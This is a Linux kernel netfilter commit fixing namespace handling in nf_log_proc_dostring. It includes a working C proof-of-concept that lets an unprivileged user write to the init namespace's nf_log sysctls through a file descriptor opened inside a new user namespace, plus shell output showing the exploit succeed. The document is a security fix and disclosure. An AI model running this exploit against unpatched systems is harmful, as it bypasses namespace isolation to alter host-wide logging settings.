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authorJann Horn <jann@thejh.net>2016-09-18 21:40:55 +0200
committerPablo Neira Ayuso <pablo@netfilter.org>2016-10-04 08:41:06 +0200
commitdbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 (patch)
tree9408d4eb67ce8a6dd942bb76f637d12327ce3096
parent1f827f5138292a6124430cdd37bcb68f30c05467 (diff)
netfilter: fix namespace handling in nf_log_proc_dostring
nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls. Stash the "struct net *" in extra2 - data and extra1 are already used. Repro code: #define _GNU_SOURCE #include <stdlib.h> #include <sched.h> #include <err.h> #include <sys/mount.h> #include <sys/types.h> #include <sys/wait.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <stdio.h> char child_stack[1000000]; uid_t outer_uid; gid_t outer_gid; int stolen_fd = -1; void writefile(char *path, char *buf) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "unable to open thing"); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "unable to write thing"); close(fd); } int child_fn(void *p_) { if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, NULL)) err(1, "mount"); /* Yes, we need to set the maps for the net sysctls to recognize us * as namespace root. */ char buf[1000]; sprintf(buf, "0 %d 1\n", (int)outer_uid); writefile("/proc/1/uid_map", buf); writefile("/proc/1/setgroups", "deny"); sprintf(buf, "0 %d 1\n", (int)outer_gid); writefile("/proc/1/gid_map", buf); stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); if (stolen_fd == -1) err(1, "open nf_log"); return 0; } int main(void) { outer_uid = getuid(); outer_gid = getgid(); int child = clone(child_fn, child_stack + sizeof(child_stack), CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); if (child == -1) err(1, "clone"); int status; if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child exit status bad"); char *data = "NONE"; if (write(stolen_fd, data, strlen(data)) != strlen(data)) err(1, "write"); return 0; } Repro: $ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE Because this looks like an issue with very low severity, I'm sending it to the public list directly. Signed-off-by: Jann Horn <jann@thejh.net> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
-rw-r--r--net/netfilter/nf_log.c6
1 files changed, 4 insertions, 2 deletions
diff --git a/net/netfilter/nf_log.c b/net/netfilter/nf_log.c
index 30a17d649a83..3dca90dc24ad 100644
--- a/net/netfilter/nf_log.c
+++ b/net/netfilter/nf_log.c
@@ -422,7 +422,7 @@ static int nf_log_proc_dostring(struct ctl_table *table, int write,
char buf[NFLOGGER_NAME_LEN];
int r = 0;
int tindex = (unsigned long)table->extra1;
- struct net *net = current->nsproxy->net_ns;
+ struct net *net = table->extra2;
if (write) {
struct ctl_table tmp = *table;
@@ -476,7 +476,6 @@ static int netfilter_log_sysctl_init(struct net *net)
3, "%d", i);
nf_log_sysctl_table[i].procname =
nf_log_sysctl_fnames[i];
- nf_log_sysctl_table[i].data = NULL;
nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN;
nf_log_sysctl_table[i].mode = 0644;
nf_log_sysctl_table[i].proc_handler =
@@ -486,6 +485,9 @@ static int netfilter_log_sysctl_init(struct net *net)
}
}
+ for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++)
+ table[i].extra2 = net;
+
net->nf.nf_log_dir_header = register_net_sysctl(net,
"net/netfilter/nf_log",
table);